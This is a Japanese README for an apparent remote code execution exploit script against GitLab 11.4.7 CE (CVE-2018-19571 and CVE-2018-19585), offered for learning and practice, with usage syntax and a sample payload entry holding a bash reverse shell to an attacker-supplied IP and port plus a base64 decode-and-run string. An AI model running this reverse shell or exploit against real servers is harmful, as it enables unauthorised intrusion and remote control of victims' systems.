
GitLab 11.4.7 RCEエクスプロイト、各種リバースシェル対応。 CVE-2018-19571 + CVE-2018-19585
GitLab 11.4.7 CE の RCE エクスプロイト。異なるリバースシェルに対応。
CVE-2018-19571: https://nvd.nist.gov/vuln/detail/CVE-2018-19571
CVE-2018-19585: https://nvd.nist.gov/vuln/detail/CVE-2018-19585
学習と練習のために、Sam Redmond と Tam Lai Yin のバージョンを改変したものです。
全てのものがそうあるべきですが、これは python3 で書かれています。
依存関係:
pip3 install requests
使用方法:
python3 rce_script.py -u <username> -p <password> -g <url:port> -l <local ip> -P <local port> [<shell lang>]
デフォルトでは、-e オプション付きの netcat シェルが使用されます。
現在の組み込みシェル:
一部のシェルには、リクエストエンコーディングと互換性のない文字が含まれています。そのため、Base64 でエンコードされ、被害者のマシンでデコードされ実行されます。
独自のシェルを追加したい場合は、payloads_dict 構造体に値を追加してください。
以下を定義する必要があります:
'bash': {
# If the raw_payload can be executed withoud encoding
'safe': False,
# Payload, must contain the references for the local_ip and for the local_port
'raw_payload': 'bash -i >& /dev/tcp/{local_ip}/{local_port} 0>&1',
# How to execute the payload if safe is False. Must conatin the reference for payload
'exec_string': 'echo {payload} | base64 -d | /bin/bash'
}
HTML の解析はかなりハードコードされており、簡単に壊れる可能性があります。